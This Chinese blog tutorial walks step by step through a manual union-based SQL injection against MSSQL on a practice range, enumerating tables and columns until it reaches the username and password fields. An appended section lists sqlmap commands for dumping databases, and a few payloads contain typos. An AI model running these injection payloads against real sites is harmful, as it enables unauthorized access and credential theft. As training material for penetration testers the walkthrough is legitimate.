MSSQL数据库注入(一)

1. MSSQL注入手工联合注入

mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点。

  • (例如:在mssql中只能用top 取代limt 0,N,row_number() over()函数取代limit N,M)
    mssql在使用上和可移植等方面与mysql存在不同的差异。

MSSQL数据库的基本知识

  • MSSQL中自带数据库信息
库名相关功能
master系统控制数据库,包含配置信息,用户登录信息,系统运行状态
model模板数据库,数据库时建立所有数据库的模板。
tempdb临时容器,保存所有的临时表,存储过程和其他程序交互的临时文件
msdb主要为用户使用,记录着计划信息、事件处理信息、数据备份、警告以及异常信息
  • MSSQL系统视图表 (MSSQL数据库与MYSQL数据库一样,自带数据表sysobjects和syscolumns)
视图表功能
sysobjects记录了数据库中所有表,常用字段为id、name和xtype
syscolumns记录了数据库中所有表的字段,常用字段为id、name和xtype
sys.databasesSQL Server 中所有的数据库
sys.sql_loginsSQL Server 中所有的登录名
information_schema.tables当前用户数据库的表
information_schema.columns当前用户数据库的列
sys.database_files存储在数据库中数据库文件

Mssql数据库手工联合注入

这里我们使用的靶场环境为墨者学院中Sql Server注入环境
在这里插入图片描述

  1. 判断是否是Mssql数据库类型

and exists(select * from sysobjects) –
and exists(select count(*) from sysobjects) –

  • 输入上面的mssql手工注入代码时候,如果不存在报错,更改命令中的代码信息就产生报错,则可以判断数据库类型为Mssql数据库
    在这里插入图片描述在这里插入图片描述
  1. 判断mssql数据库的字段长度

order by 5

此处发现order by 5会报错,那我们使用4试试
在这里插入图片描述

  • 我们发现字段为4未出现报错,所以注入的字段数为4
    在这里插入图片描述
  1. 寻找字符型的显示位置
  • 注意:在mssql中查找显示位时需要在union select中间添加all,因为union select在mssql中会重复一些字段从而导致报错
  • null 表示无论是数字形式还是字符形式

id=-2 and union all select null,null,null,null

在这里插入图片描述
4. 通过更改null的字符进行判断显示

id=-2 and union all select null,‘2’,‘3’,null

  • 通过第二个和第三个我们发现判断显示的位置,我们获取数据库信息也从这两个显示位置注入。
    在这里插入图片描述
  1. 通过命令对数据库进行相关查询

@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息

  1. 查询mssql数据库的版本信息

id=-2 and union all select null,@@verions,‘3’,null

  • 这里我们看见mssql数据库的版本信息为sql server 2005
    在这里插入图片描述
  1. 查询并获取出数据库名

id=-2 union all select null,db_name(),‘3’,null

在这里插入图片描述

  1. 通过前面获取的数据库名称,获取表名,但是在MSSQL中查询表与MYSQL存在区别。

mysql查询表:union select 1,table_column,3,4 from information_schema.columns where table_name=‘数据库名称’
mssql查询表:union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),‘3’,4

mssql查询表中只能用top进行对表的版本查询,top查询中xtype=‘u’表示对对xtype中值为u的时候进行搜索,只能是u,如果是其他的值并不能搜索出现
在这里插入图片描述
此已经查询到了manage数据表,我们通过添加一个条件语句,使得查询不是‘manage’名称的表就可以继续查询到下一个数据表了

union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in(‘manage’)),‘3’,4

在这里插入图片描述

9.发现数据表,我们可以继续查询表中对应的字段名称,通过col_name对表中进行查询
在这里插入图片描述

  • 通过修改在object_id(‘manage’)后面的数字就可以调整想要查看的字段

在这里插入图片描述

10.获取到了manage数据表的字段username和password后,我们就可以查看到相关信息
在这里插入图片描述

  • 6
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
SQLMap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。它支持多种数据库管理系统,包括MSSQL。 要使用SQLMap直连MSSQL数据库,首先需要确保已经安装了Python和SQLMap。然后,按照以下步骤进行操作: 1. 打开命令行终端,并导航到SQLMap的安装目录。 2. 输入以下命令来检测目标网站是否存在SQL注入漏洞: ``` python sqlmap.py -u <目标URL> --dbs ``` 其中,`<目标URL>`是要测试的网站URL。 3. 如果存在SQL注入漏洞,SQLMap将列出可用的数据库。选择要攻击的数据库,并记下其名称。 4. 输入以下命令来获取数据库中的表: ``` python sqlmap.py -u <目标URL> -D <数据库名称> --tables ``` 其中,`<数据库名称>`是上一步选择的数据库名称。 5. 选择要攻击的表,并记下其名称。 6. 输入以下命令来获取表中的列: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> --columns ``` 其中,`<表名称>`是上一步选择的表名称。 7. 选择要攻击的列,并记下其名称。 8. 输入以下命令来获取列中的数据: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> -C "<列名称1>,<列名称2>,..." --dump ``` 其中,`<列名称1>,<列名称2>,...`是上一步选择的列名称,用逗号分隔。 9. SQLMap将尝试提取并显示列中的数据。 请注意,使用SQLMap进行SQL注入测试可能涉及到非法活动,应该仅在合法授权的范围内使用。此外,使用SQLMap进行攻击可能会对目标系统造成损害,应谨慎操作。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值